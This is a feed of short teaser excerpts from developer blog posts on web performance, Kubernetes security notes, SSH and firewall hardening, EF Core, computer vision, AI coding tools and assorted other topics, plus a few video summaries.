    Beyond the SERP From Probabilistic Retrieval to Generative Synthesis The architecture of the World Wide Web, and the mechanisms by which humanity accesses information, is undergoing a fundamental transformation that parallels the shift from directory-based indexing to algorithmic search in the late 1990s. For nearly three decades, the dominant paradigm of information discovery has been Information Retrieval (IR), a discipline predicated on indexing discrete documents and retrieving ranked lists based on keyword relevance and topological authority. This era, characterized by the dominance of the Search Engine Results Page (SERP), established a social contract between content creators and search platforms: creators provided data, and platforms provided traffic. This symbiotic relationship …  ( 19 min )
    🚀 Guia Completo: Otimização de Performance Web com Core Web Vitals
    📊 O que são Core Web Vitals? Core Web Vitals são métricas essenciais definidas pelo Google para medir a experiência do usuário em websites. Elas impactam diretamente o SEO e o ranking do site nos resultados de busca. (Maior Renderização de Conteúdo) O que mede: Tempo para carregar o maior elemento visível na tela Metas de Performance: 🟢 4s - Ruim Elementos comuns: Imagens hero, banners, blocos de texto grandes (Atraso da Primeira Interação) O que mede: Tempo entre a…  ( 10 min )
    CKS Notes - Apiserver request security
    1. Identity = kubeconfig Here the identity equals kubeconfig file Every kubeconfig file specifies: the certificate the client key the username (CN) the group (O) the cluster endpoint This determines: Who you are (identity) What you can do (RBAC permissions) Now let’s first distinguish 2 types of identity: admin cluster identity vs node identity. Location: each nodes /etc/kubernetes/kubelet.conf Identity inside it: user = system:node: group = system:nodes Meaning: This identity belongs to the kubelet on that node Permissions (through RBAC): can update its own node object can update pod status for pods assigned to it cannot get/delete/list arbitrary pods cannot label other nodes This identity is heavily restricted by NodeRestriction. $HOME/.kube/confi…  ( 7 min )
    How I Built a 140 FPS Real-Time Face Landmark App with Just YOLOv9 + MediaPipe (5-Part Series)
    A fast, clean, production-ready face detection + detailed facial landmark pipeline built from scratch in pure Python. Runs at 120–140 FPS on a regular laptop (no dedicated GPU needed). All 5 parts are now live. Finish the whole series in ~2 hours and walk away with a complete, real-time app. Part Title Link 1 Project Setup & Clean Architecture Part 1 → 2 ConfigModel – Load YOLO Only Once Part 2 → 3 OpenCVBase – Eliminate Duplicate Code Part 3 → 4 YOLOv9 + MediaPipe FaceMesh (539 refined landmarks) Part 4 → 5 Final Rendering + Complete Real-Time App Part 5 → Full Source Code → GitHub Demo → LinkedIn Python 3.11+ Ultralytics YOLOv9t-face (lindevs model) MediaPipe FaceMesh with refine_landmarks=True Pure OpenCV (no heavy extra dependencies) Zero code duplication Models loaded only once → maximum FPS Fully modular OOP design – extend in minutes Perfect portfolio / resume / startup prototype project Prerequisites: Basic Python + some OpenCV knowledge (Part 1 covers the rest). If you enjoyed this series — star the repo, give this post 50 claps (really helps!), and follow for more production-grade computer vision content.  ( 6 min )
    Value Objects in PHP 8: Let's introduce a functional approach
    NOTE: If you're new to Value Objects, I recommend starting with the first article to understand the fundamentals. Introduction The Problem with Traditional Validation PHP 8.5 Pipes The Validation Context (A Functor) A Library of Reusable Validators Error Accumulation Union Types Instead of Either (Monad) Conclusion In my previous articles, I've explored Value Objects from basic implementation to advanced patterns, entities, and building custom type systems. Each article built upon the previous, showing how PHP 8's features enable more elegant solutions. But now, with PHP 8.5, we have a new and powerful ally that truly changes the game: the pipe operator (|>). This operator opens up new possibilities for functional programming in PHP. It lets us express validation logic in a way that's fund…  ( 16 min )
    Why Aider
    The market for AI coding assistants has split into two clearly defined camps. Camp #1 – Full-featured graphical IDEs Cursor, Windsurf, Zed + Cursor mode, VS Code with Continue + Copilot + many extensions, IntelliJ Ultimate with AI Assistant, etc. Polished UI, inline completions, chat panels, debugging integration, project-wide indexing. Typical costs: 8–40 s startup, 4–8 GB RAM, mandatory indexing of the whole repo, poor or no support for direct work over SSH on production/legacy servers. Camp #2 – Terminal-first tools vim, neovim, helix, kakoune, tmux… and aider. Start in 200–400 ms, use 50–150 MB RAM, require only a terminal and git, work perfectly over SSH with no indexing step. aider is a command-line tool that sends selected files + conversation to an LLM and applies the returned…  ( 9 min )
    Creating a personal assistant (girlfriend) for myself
    Yes I stopped taking the pills (again) This is a story of me testing out the Claude Code Web and end up writing myself a girlfriend. It's quite capable though, it can chat, send me reminders or can save the links I send to her. Also keeps personal context about me that it uses when it's relevant. Her response to being the main character of this post: So it's all started with the credits that Anthropic gave for testing out claude code web. I got $250 which is impossible to spend it all. To test it out, I asked for a telegram bot. I want to create a chatbot that would send me notifications time to time during the day, like around the time I wake up I want a notification saying "Don't forget doing stretching exercises!". Can you propose a design for this kind of an app? Keep it simple …  ( 8 min )
    Self-Sovereign Identity's Privacy Blind Spot: Why DIDs Need Confidential Computing
    If your decentralized identity system forces users to publicly prove their credentials every time they authenticate, you've built an immutable record of everything they do and everywhere they go. Decentralized identity (DID) has become a Web3 buzzword, finally, we’re promised, users can control their own digital identity. With self-sovereign identity (SSI), you control your credentials, no third party owns your profile, and you only reveal what’s needed. But in practice, the way most verifiable credential systems are built today leaves a serious gap: every time you use your credentials, you leave a breadcrumb trail, right on-chain, that anyone can follow. Here’s why that happens, and how to build DIDs that actually deliver the privacy they promise. Decentralized IDs let you prove things, …  ( 8 min )
    Next.js Weekly #109: Next Analyze, Prisma 7, use-nemo, State of React 2025, Error Boundaries, UI Framework Guide
    Error Handling in React with react-error-boundary Aurora Scharff takes a detailed look at using react-error-boundary to prevent full app crashes when React components throw errors. She explains three ways to show fallback UIs, where to strategically place boundaries at route or feature levels, and how to handle async errors using the useErrorBoundary hook or React 19’s automatic error boundary integration with Actions and useTransition State of React 2025 The State of React Survey is now open! Test your React knowledge and share your insights to help track which APIs and libraries are really catching on across the ecosystem. I'd appreciate it a lot if you could take a moment to pick Next.js Weekly as one of your go-to resources. If you wanna get these updates in your inbox every week, …  ( 8 min )
    MonkeysLegion 1.0.8: From Side Project to Production-Ready PHP Ecosystem
    When I first introduced MonkeysLegion on the internet, it was “just” a new PHP 8 framework with a bold promise: Let modern teams move from commit to cloud without the boilerplate. Back then, that promise was mostly about vision. The core worked, but a lot was still in motion: APIs were evolving, packages were experimental, and I was shipping fast to prove the ideas. Fast-forward to v1.0.8 of the framework (and beyond into 1.0.x), and MonkeysLegion has grown into a mature, modular ecosystem: a set of focused packages, a production-ready skeleton, batteries-included tooling, and opinionated patterns that have already been battle-tested in real projects. This article is about that journey: What MonkeysLegion is in practice How it helps you ship production code faster What changed from 1.0.0 …  ( 11 min )
    From Nightmare to Magic: Building a Winning AI App in 5 Days for Kiroween
    Studying is a nightmare. For the Kiroween Hackathon, I decided to fix that by building Spooky Study Buddy—a polished app that uses AI to turn boring study materials into gamified, Halloween-themed adventures. The Blueprint (Spec-Driven Development): I started by writing a simple spec file that defined my entire application's architecture. Kiro took this blueprint and generated the robust backend and project structure, saving me a full day of setup. The Magic (Vibe Coding): For the frontend, I described the UI I wanted in plain English. For example: "Create a floating witch character component that animates on correct quiz answers." Kiro instantly generated the complex, animated React components. This AI-powered workflow saved me over 40 hours and generated 8,000+ lines of production-ready code. Why It's Built to Win: Costume Contest: It features a "hauntingly polished" UI where the spooky design directly enhances the learning experience. Best Startup Project: It solves a real-world problem in the massive EdTech market with a clear freemium model and scalable architecture. Spooky Study Buddy is my vision for the future of learning—a future where no student has to fear their textbooks. Explore the Project: 🎮 Live Demo: https://anshulmehra001.github.io/Spooky-Study-Buddy/ 📺 Video Demo: https://youtu.be/HSudCV7OK8s 💻 Source Code: https://github.com/Anshulmehra001/Spooky-Study-Buddy  ( 6 min )
    Verified Computing vs. Black Box AI
    How Confidential Computing Enables Trustworthy AI Without Sacrificing Privacy If your AI verification system requires auditors to see the full model weights, training data lineage, and inference parameters, you haven't built trust, you've built intellectual property theft as a feature. AI systems are everywhere in 2025, from health diagnostics and autonomous logistics to DeFi bots and voting tools. We want AI to be both trustworthy and private. But a hidden tension shapes every project: How can we make AI verifiable enough for users and auditors, without accidentally leaking its secrets to competitors or risking privacy for those whose data built it? Let’s break down why this is tough, then walkthrough how confidential computing platforms like Oasis let us go from either/or, to both. To t…  ( 8 min )
    Looking for honest feedback on my developer portfolio
    Hi everyone — I’d love some quick feedback on my developer portfolio. Built with Next.js + TypeScript + Tailwind. Live: https://personal-portfolio-piyushdhondge-drab.vercel.app/ Repo: https://github.com/IamPiyush03/Piyush-Portfolio What I’m looking for: Design/UX clarity Project section strength (details, presentation, impact) Any bugs, responsiveness issues, or missing states Performance or SEO improvements Code structure/readability (if you check the repo) Any actionable suggestions are super helpful — even small ones like spacing, alt text, or mobile tweaks. Thanks in advance!  ( 6 min )
    The New Digital Divide: Will "Vibe Coding" Really Make Everyone a Developer?
    My LinkedIn feed is currently drowning in posts from "ex-non-technical" founders. You know the ones. They claim they built a SaaS in a weekend using nothing but Cursor and a dream. They say, "Coding is dead. English is the new programming language." Here is the thing about coding that tutorials never tell you: writing the code is actually the easy part. I like to think of it like self-driving cars. So, does this mean "normal people" can't become developers via AI? name+tag@gmail.com?" Vibe coding is an incredible entry point. It is like training wheels. It lets you feel the wind in your hair before you know how to balance. But if we tell people that the training wheels are the bike, we are setting them up for a nasty crash. The market doesn't pay you for the code you write when everything is going right. The market pays you for the code you fix when everything goes wrong. And unfortunately for the vibe coders, you can't prompt your way out of a system outage.  ( 8 min )
    A 13-Year-Old Founder Building a Study App Because Existing Tools Weren’t Enough
    Nikita Volkov is a 13-year-old builder who has been creating products since he was seven. Now he is working on Ace, a study app designed by a student who understands the problems other students face. Before starting Ace, Nikita built an online store at age 7, a recipe discovery and management app at 11, a dropshipping store at 12, an AI coding agent, an AI chatbot for education, and a faster macOS Spotlight-style launcher integrated with AI. Each project was an attempt to fix a real frustration he had at that age. Ace follows the same pattern. Nikita found that most study apps were either slow, overly complex, bad at what they are meant to do or designed by adults who no longer experience school in the same way students do. Rather than wait for a better tool, he decided to build one himself. Ace focuses on clarity, speed, and real learning. Nikita is building it publicly, sharing his progress as he refines features and tests ideas in real time. For someone his age, Nikita’s output is unusual, but his approach is straightforward: find a problem, understand it deeply, then build something better. Ace is the latest step in a journey that has already lasted several years, and he is documenting the entire process for others who may be on a similar path.  ( 6 min )
    Building Resilient Serverless Workloads with the Circuit Breaker Pattern
    Modern distributed systems rely on many external dependencies. Payments, In this article, we will look at how the Circuit Breaker pattern helps you prevent cascading failures, reduce wasted retries, and allow systems to recover gracefully. We will also walk through an AWS Lambda implementation using DynamoDB as the state store and see how the entire flow works in real serverless applications. Detects when a dependency becomes unhealthy Stops sending requests that are likely to fail Gives downstream systems time to recover Performs periodic test calls to check if the service is healthy again Works extremely well with a storage-first approach Prevents cascading failures and wasted retries Introduces a small amount of latency and state handling Requires tuning of thresholds and cooldown setti…  ( 10 min )
    C++ Through the Years : From Classic to Modern
    C++98 was the first international standard for the language. C++03 was a maintenance update, fixing defects and inconsistencies. Object-oriented programming (classes, inheritance, polymorphism) Templates (generic programming) Exceptions Namespaces STL (Standard Template Library) including: vector, map, set, list algorithms (sort, find) iterators No move semantics → heavy copying, lower performance No type inference → verbose code Limited compile-time programming Early template errors were difficult to understand C++11 is considered the largest update in the history of the language. Move semantics Rvalue references std::unique_ptr, std::shared_ptr (smart pointers) auto type deduction Range-based for loops Lambda expressions nullptr constexpr static_assert std::thread, mutex, lock_guard, a…  ( 7 min )
    SSH Access to Proxmox Without Exposing Your Lab
    Virtualization tech — once locked away in enterprise data centers — now powers all kinds of home labs. I use mine for learning, tinkering, and running services like Proxmox VE. Whether you’re running a homelab business, learning cybersecurity, or just self-hosting your media, one thing tends to come up: secure access to the hypervisor. A reader recently asked best practices for SSH and Proxmox. This guide is my answer. I’ll walk through the exact setup I use — including my jump box, SSH hardening, hardware-backed keys, and how I work with QubesOS to manage everything securely. While this is based on how I use Proxmox, most of the techniques apply to other virtualization platforms or Linux systems in general. Why I Use SSH with Proxmox 🔧 Part 1: Locking Down SSH on the Jump Box and Proxmox…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest rapid-fire roast of the fun, over-the-top demon-hunting musical. In under 16 minutes they tally every trope, plot hole and eye-roll-worthy moment, all while cracking jokes and keeping the pace lightning-fast. On top of the sinning, they drop links to their socials, invite you to join polls and Discord, plug Patreon support, and give shout-outs to the writers behind the mayhem. It’s a cheeky, self-aware send-up that’s part critique, part variety show. Watch on YouTube  ( 6 min )
    JSON CSV converter
    What Is This Tool & Why Do You Need It? Imagine you have data from a website or app (in JSON format) but you need to open it in Excel. Or maybe you have a spreadsheet (CSV format) that you want to use in a web application. That's exactly what this converter does - it translates between these two popular data formats instantly. JSON (JavaScript Object Notation) Storing complex information with multiple levels Sending data between websites and apps (APIs) Keeping data organized when items have different fields Modern software development Real example: When you check the weather on your phone, the app receives JSON data from a weather service that looks like {"temperature": 72, "condition": "sunny", "humidity": 45}. What it is: CSV is the simple, universal format that spreadsheet programs like Excel and Google Sheets love. It's just a text file where data is organized in rows and columns, separated by commas. Opening in Excel or Google Sheets Sharing with people who aren't programmers Simple data that fits in a table Maximum compatibility across different programs Real example: When you export your contacts from your email program, you often get a CSV file that you can open in Excel to edit and organize. Why You Need to Convert Between Them "I got data from a website, but I need to analyze it in Excel" You used an API or downloaded data from a web service (JSON format) "I have a spreadsheet I need to upload to a website" You maintain a product catalog or customer list in Excel (CSV format) "My developer sent me JSON data, but I can't read it" A programmer shares technical data with you "I need to share data with someone who doesn't use Excel" You have Excel data but need to send it to an app or website Try out and enjoy json-csv converter  ( 7 min )
    AIDE - File Integrity Monitoring for System Security
    Before dashboards, before SIEMs, there was one simple question: “Did my files change?” My first exposure to the idea of file intrusion detection came in the early 2000s, when a coworker installed an open-source version of Tripwire. He used it to scan a Linux system he kept under his desk, storing the results on a read-only flash drive. At the time, it seemed like overkill. Fast forward to today, and host-based intrusion detection tools are a fundamental part of maintaining system integrity. While many administrators lean on logs for signs of intrusion, there's a deeper layer of security in tracking actual file changes. After all, if you want to catch an attacker changing your configuration or binaries, you need a tool that notices silent alterations—not just noisy events. 🔍 Why File Integ…  ( 10 min )
    AI Agentic RAG Pipeline to Surface Community Insights from Census Data
    Disclaimer: I am a product person, not a coding guru but this works and it brought value to the lean startup I was working for. Project Overview Github: https://github.com/cliffordodendaal/community-insights-pipeline Role: Technical Architect, AI Onboarding Lead Timeline: 2 weeks (September 2025) Platform: Modular RAG pipeline + Streamlit UI + Python + Langchain Impact: Enabled natural-language querying over census PDFs, built a reproducible ingestion pipeline, and laid the foundation for mentoring others into AI workflows Executive Summary This project delivers a modular Retrieval-Augmented Generation (RAG) pipeline that transforms static census PDFs into a searchable knowledge base. Built with LangChain, FAISS, and OpenAI, the system enables users to ask natural-language questions and …  ( 8 min )
    Rethinking Code Quality Analysis
    Originally published on Entropic Drift When you run a typical static analysis tool on your codebase, you get flooded with alerts. Hundreds of warnings about cyclomatic complexity, function length, and nesting depth. The tools treat all complexity equally—a simple validation function with 20 identical if statements gets the same severity rating as genuinely complex business logic with intricate state transitions. The result? Alert fatigue. Developers learn to ignore the noise, and genuinely risky code gets lost in the shuffle. Try it yourself: All code examples in this post are available at github.com/iepathos/debtmap/tree/master/examples/why-debtmap-samples. Clone the repo and run debtmap analyze . to see the actual output. Consider these two functions: fn validate_config(config: &Config) …  ( 12 min )
    Day 20 : Django Learning
    Nothing much again to log in, the struggle with setting up database in Render and avoid the bad gateway issue. I could not figure it out, irrespective of many changes, I would like to seek out some help! Please help me to set this up and start working again, if not, I have to stick to the default one that comes with Django! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Building Tenders SA: Part 1 - From Problem to Platform Architecture
    The Problem: South Africa's Tender Opportunity Gap In South Africa, government tenders represent billions of rands in business opportunities. Yet, small and medium businesses struggle to access these opportunities. The existing tender platforms are fragmented, difficult to navigate, and lack intelligent matching capabilities. Businesses spend hours searching through irrelevant opportunities, often missing perfect matches due to the sheer volume of daily tender publications. We set out to solve this with Tenders SA - an AI-powered tender matching platform designed specifically for the South African market. Our vision was simple but ambitious: Centralize all South African tender opportunities in one place Intelligently match businesses with relevant opportunities using AI Simplify the tend…  ( 11 min )
    We Are Hiring – Join Our Growing IT Team
    Our server-reselling project is expanding, and we are looking for dedicated German-based IT professionals who value clean, reliable, and well-structured work. If you enjoy building stable systems rather than chasing trends, you may be the right fit for us. 1. Frontend / Full-Stack Developer (m/f/d) Required skills: PHP Angular TypeScript SCSS NG Bootstrap We value developers who write maintainable code, follow established patterns, and appreciate a traditional, structured workflow. 2. IT Specialist – System Integration (m/f/d) Responsibilities: Server setup and administration Network and infrastructure maintenance Troubleshooting Continuous improvement of internal systems A calm, methodical approach to system work is essential. 3. IT Security Specialist (m/f/d) Required knowledge: Security audits Hardening and risk analysis Firewalls, IDS/IPS, encryption Clear documentation Security is not a trend for us – it is a responsibility. Good German language skills Only German developers will be considered No salary provided (voluntary collaboration / partner-based work) A stable environment Long-term technical growth Clear responsibilities Traditional, structured IT work with real impact Interested? If you want to contribute to a reliable and growing infrastructure project, we would be glad to hear from you. Get in touch and join us.  ( 6 min )
    New version 4.1 has come out in the meantime! Check the last comment. Async factory DI is now supported, and deferred async injections let heavy dependencies initialize in the background so the server boots instantly while handling unavailable services.
    Introducing YasuiJS — A Modern, Minimal REST Framework for Any Runtime Thomas BARKATS ・ Nov 6 #typescript #webdev #backend #api  ( 6 min )
    EF Core Migrations Troubleshooting Guide — Design Package, Tooling Versions & Multi‑Project Setups
    If you work with Entity Framework Core long enough, you’ll eventually hit the “migrations wall”: “The contextual keyword 'var'…“? No. “Cannot drop database because it is currently in use”? Sometimes. But more often it’s one of these three classics: “Your startup project doesn’t reference Microsoft.EntityFrameworkCore.Design” “The Entity Framework tools version 9.0.5 is older than runtime 10.0.0” “Your target project TechNotes doesn’t match your migrations assembly TechNotes.Infrastructure” The good news: these errors are 100% normal in real-world, multi-project solutions—and they’re also 100% fixable once you understand what EF Core is trying to tell you. This post is a copy‑paste‑ready troubleshooting guide you can keep open in your terminal while you work. Design‑Time Package Missin…  ( 11 min )
    Connecting PostgreSQL to Power BI
    Introduction Power BI is one of the most popular business intelligence tools for data visualization and analytics. Combined with PostgreSQL, a powerful open-source relational database, you can create dashboards and reports. This guide will walk you through connecting PostgreSQL to Power BI using two approaches: a local PostgreSQL installation and Aiven's cloud hosted PostgreSQL service. Download PostgreSQL from the official PostgreSQL website and follow the installation process. Download Power Bi from the Microsoft store. During installation, note that your user password and port number. If yours is local then the default port number is 5432. Ensure your database contains the data you want to visualize. Make sure your PostgreSQL server is active. Host: localhost Port: 5432 Default d…  ( 8 min )
    Controlling Blender with Gemini 3
    Controlling Blender with Gemini 3 Gemini 3 was recently announced. According to the benchmarks, it belongs to the top tier in coding capabilities. I tried using it with the Blender API, and it felt not just competitive, but potentially better than other models. Here is a quick introduction. It generates objects like these from simple prompts: It can even generate rigs and animations. Since it seemed quite powerful, I built a Streamlit app to interactively input prompts. https://github.com/unclepomedev/BlenderGeminiAgent There are no specific benchmarks for Blender coding, so this is just my personal impression, but Gemini 3 feels superior to other models for this task. If this intuition is correct, I wonder if it is due to the influence of YouTube training data or its multimodal capabilities.  ( 6 min )
    SFTP, FTPS, or Something Better? Choosing the Right File Transfer Approach for 2026
    Despite the explosion of APIs and cloud-native integrations, file-based data exchange hasn’t gone away. Enterprises still rely on batch processing, nightly ETL jobs, data exports, and vendor file drops to move critical data between systems. APIs are great, but they don’t solve everything. Compliance rules, legacy vendor systems, and auditors still demand secure file-based transfers. That leaves developers maintaining fragile SFTP servers, managing SSH keys, user permissions, and backups just to keep “simple” nightly jobs running. This post gives a ground-level look at FTP and SFTP, explains where they fit in modern systems, and shows how SFTP To Go can simplify secure file transfers without requiring you to manage servers yourself. The Protocols: FTP, SFTP, and Where They Fit in Modern Sys…  ( 11 min )
    Machine Learning Syllabus for MAKAUT
    Unit 1: Supervised Learning Regression Classification Basic methods: Distance-based methods, Nearest-Neighbours, Decision Trees, Naive Bayes Linear models: Linear Regression, Logistic Regression, Generalized Linear Models Support Vector Machines (SVM) Nonlinearity and Kernel Methods Beyond Binary Classification: Multi-class, Structured Outputs, Ranking Unit 2: Unsupervised Learning Clustering: K-means, Kernel K-means Dimensionality Reduction: PCA (Principal Component Analysis), Kernel PCA Matrix Factorization and Matrix Completion Generative Models: Mixture models and Latent Factor Models Unit 3: Evaluating ML Algorithms & Model Selection Evaluation of Machine Learning Algorithms Model Selection Introduction to Statistical Learning Theory Ensemble Methods: Boosting, Bagging, Random Forests Unit 4: Advanced Modeling Sparse Modeling and Estimation Modeling Sequence/Time-Series Data Deep Learning and Feature Representation Learning Unit 5: Scalable and Advanced ML Topics Scalable Machine Learning Online Learning Distributed Learning Advanced Topics (selection among): Semi-supervised Learning Active Learning Reinforcement Learning Inference in Graphical Models Introduction to Bayesian Learning and Inference Unit 6: Recent Trends Recent trends in machine learning learning techniques Recent trends in classification methods  ( 6 min )
    My Beginner-Friendly Debugging Checklist for Any Node.js API Issue
    Debugging backend issues used to feel chaotic when I first started working with Node.js and Express. Errors seemed random, console logs looked useless, and I often had no idea whether the problem was in the route, middleware, controller, or database. Over time, I built a simple debugging checklist that works consistently. This guide is meant for beginners but follows a clean, professional approach you can rely on even as you grow. Most bugs come from the client, not the server. Before touching your backend code, check: Is the body structured the way your API expects? Are you sending JSON while forgetting express.json()? Missing headers or wrong token format? Incorrect URL or query parameters? Use tools like: Postman / Thunder Client to test raw requests Browser Network tab to inspect ac…  ( 8 min )
    Using GitHub Copilot for Terraform code refactoring
    Terraform and OpenTofu are the only major IaC tools today that provide a fully deterministic, declarative, provider-agnostic, predictable execution plan across AWS + Azure + other cloud platforms. However, the Terraform development experience is still close to what we had for JavaScript in 2008: we have syntax highlighting, basic static analysis, and basic code navigation. But the Terraform code refactoring still should be done manually. We still have no button "extract resources to the module" in JetBrains IDE or VS Code. Mainly because in the Terraform world, code refactoring should go together with state transformation. By the end of 2024 in my team had written a lot of Terraform code. We have learned how to master infrastructure as code using Terraform, our expertise has grown up and t…  ( 7 min )
    Predictive and secure look-ahead log interception using Aho-Corasick & log tokenization (Java & Spring)
    The Purpose: Credit card information SSNs/TaxIDs Email addresses Access Tokens/API Keys Customer IDs Session identifiers If these logs reach Splunk, ELK, CloudWatch, S3, or shared storage without redaction, companies can violate PCI DSS, GDPR, HIPAA, SOX, CCPA, and internal info-sec policies. Goal: This Gives: 🔒 Security (no raw PII/PCI stored in logs) Why Aho–Corasick for Log Interception? Regex is powerful but slow — especially when scanning logs with 50+ sensitive patterns. Aho–Corasick builds a finite automaton (trie + failure links) that searches all patterns simultaneously. Benefits: If your application handles millions of log lines an hour, Aho–Corasick might be helping hand here, consuming fewer resources. Architecture Implementation Adding the dependencies: <gro…  ( 8 min )
    Announcing udwall: A New Tool for Making UFW and Docker Play Nice With Each Other
    Many of us believe that the combination of UFW and Docker is the standard stack for deploying applications securely without exposing docker container ports. Configuring UFW via provisioning tools like Ansible is usually seamless, giving us confidence that our servers are secure. However, there is a massive, often overlooked security gap in this setup that meanse using UFW with Docker can be dangerous. Basically, even though your UFW status says "Active" and is set to block all incoming traffic, Docker container ports often remain wide open to the public internet. At Hexmos, we are dedicated to enhancing the developer experience, having built tools like Livereview and FreeDevtools. We investigated this critical security flaw and built udwall to finally make UFW and Docker compatible by def…  ( 10 min )
    Understanding the C Compilation Process
    This article grew out of my journey to revisit C from a systems perspective. Most of my career has been in Notes/Domino, Java, and Drupal, and although I learned C during my university years, I never used it extensively in practice. Lately, my curiosity has pushed me to return to the fundamentals and understand what really happens beneath the surface. This article is for anyone who shares that same curiosity—those who want to peek under the hood and see what truly happens when we hit compile. This article is the first entry in a learning packet I’m putting together called What Happens to Your C Program When It’s Compiled. We begin with the preprocessing stage—the starting point of the compilation process. Hosted on GitHub: Understanding the C Compilation Process — Part I: Preprocessing  ( 6 min )
    I Built a Free AI Mastery Roadmap (And Why It's Not Another $500 Course)
    I wasted months learning Claude Code the hard way. Random tutorials. Scattered docs. Trial and error. Hours spent figuring out what should've taken minutes. So I built the roadmap I wish I'd had from day one. And I'm open-sourcing it because gatekeeping knowledge is nonsense. This is NOT: Another $500 course promising mastery in 30 days A collection of random tips you'll forget tomorrow Vaporware that looks good but doesn't work A marketing funnel disguised as education This IS: 24 atomic learning units you can complete in 15-30 minutes each Structured progression from beginner to power user Repeatable exercises you practice 3-5 times to build muscle memory Measurable ROI - track exactly how much time you save Completely free on GitHub I'm a solo dev building products like DevClose (daily …  ( 10 min )
    OLIVE OIL: THE METABOLIC MEDICINE MOST PEOPLE ARE USING WRONG By Edward Obuz
    If you are using olive oil only for frying or a bit of salad dressing, you might be leaving most of its metabolic benefits on the table. Used correctly, high quality extra virgin olive oil can improve fat burning, stabilize blood sugar, reduce inflammation, and support calmer cortisol patterns. The key is quality and timing, not hype or miracle claims. In this article I will walk through what the research actually shows, how I use olive oil in my own routine, and a simple seven day protocol you can experiment with safely. This is educational, not medical advice. If you have a medical condition or take medication, talk to your healthcare provider before making changes. The Fat Burning Science Behind Extra Virgin Olive Oil Several mechanisms make olive oil metabolically interesting: PPAR alp…  ( 13 min )
    AI for Bharat: Tired of Just Reading About AI? It’s Time to Start Building
    Artificial Intelligence is reshaping industries, accelerating careers, and creating new opportunities every single day. Yet most developers in India are stuck in the same cycle: 👉 Watching tutorials …but not building anything real. AI for Bharat is here to break that cycle. This is your chance to join a nationwide movement designed for one purpose: Turn AI theory into real-world building. ⭐ Program Highlights at a Glance Before we dive deeper, here’s everything you need to know right away: 👥 Team Size: 1–5 Members Work solo or collaborate with a small, powerful team. 🎓 Age Requirement: 18+ Anyone above 18 can participate—students, professionals, beginners, all are welcome. 🇮🇳 India Only A movement built for Indian developers, shaping India’s AI future. 🌐 Fully …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the exuberant main theme of Kirby Air Riders, “Starlit Journey,” explaining how each section—intro, verse, chorus, bridge and final choruses—combines playful melodies and bright harmonies to create that signature joy. Time‐stamped segments guide you through the song’s structure and highlight the musical tricks that make it so irresistibly fun. Along with the analysis, you’ll find links to support the channel—Patreon, merch, Discord and Twitter—plus a sprinkled dose of #kirby, #nintendo and #gamemusic love for anyone who can’t get enough of 8-bit charm. Watch on YouTube  ( 6 min )
    Building Domain-Specific AI Agents Through Configuration, Not Code
    Building Domain-Specific AI Agents Through Configuration, Not Code I built a framework where you can create specialized AI agents (like a Compliance Reviewer or Travel Planner) by writing a YAML file instead of coding. Same core, infinite possibilities. Built entirely with Kiro IDE's powerful features. Want to build a compliance reviewer AI? Write hundreds of lines of code. Need a travel planning assistant? Write hundreds more lines. Want to add a customer support bot? You guessed it - more code, more complexity, more maintenance. What if you could create a new AI agent just by writing a configuration file? That's exactly what I set out to build during the Kiroween Hackathon 2025. Agent Skeleton is a configuration-driven framework for building domain-specific AI agents. The same core fra…  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz in 15 Minutes (Or Less) CinemaSins is back on the yellow brick road now that Wicked is back in theaters—this time digging into the 1978 classic The Wiz to see if it’s better (or worse) than you remember, all in their trademark snarky “Everything Wrong With” style. For more sinfully fun content, hit up their website or Linktree for channels like TV Sins and Commercial Sins, fill out their poll, or support them on Patreon. You can also follow the team—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter or Instagram, and join the party on Discord, Reddit, TikTok and more. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the neon-soaked world of KPop Demon Hunters, rattling off every quibble, plot hole and eyebrow-raising moment in under 16 minutes—complete with their trademark snark and “sins” tally. Along the way they plug their main site and socials (YouTube channels, Discord, Reddit, TikTok, Instagram), invite you to fill out a quick poll, and encourage adoring fans to fuel the sin machine on Patreon. Watch on YouTube  ( 6 min )
    Building a Location Picker in React Native Maps (with Draggable Marker & Address Lookup)
    Introduction In my previous post, I covered how to integrate Google Maps and display the user’s live location. Now let’s take it one step further — by creating a location picker where users can drag a marker or move the map to select an address. This feature is perfect for checkout pages, delivery address setup, or event creation screens. We’ll continue using: npx expo install react-native-maps expo-location Optional (for reverse geocoding): npx expo install expo-location import React, { useState, useEffect } from 'react'; import { View, Text, StyleSheet } from 'react-native'; import MapView, { Marker } from 'react-native-maps'; import * as Location from 'expo-location'; export default function LocationPicker() { const [region, setRegion] = useState(null); const [address, setAddre…  ( 8 min )
    Spring Security Flow
    When a user submits login details, Spring Security’s authentication filter intercepts the request and converts it into an Authentication object. This object is then passed to the AuthenticationManager. The AuthenticationManager decides which authentication method to use (e.g., database authentication, OAuth, LDAP, or custom logic). It forwards the request to the appropriate AuthenticationProvider. The AuthenticationProvider contains the logic for validating the user. It uses the UserDetailsService to load user information and the PasswordEncoder to verify the password. If authentication succeeds, it returns a fully authenticated Authentication object. The authentication filter receives the result. If the credentials are valid, Spring Security stores the authentication object in the SecurityContext, which is maintained in the SecurityContextHolder. For every subsequent request, Spring Security checks this context (session or JWT token) to determine whether the user is already authenticated. If the token or session is valid, the request proceeds; otherwise, the user is denied access.  ( 6 min )
    Do companies share API docs with third-party integration providers?
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    Launching EC2 with Git Bash: Why SSH Is Preferable to PuTTY.
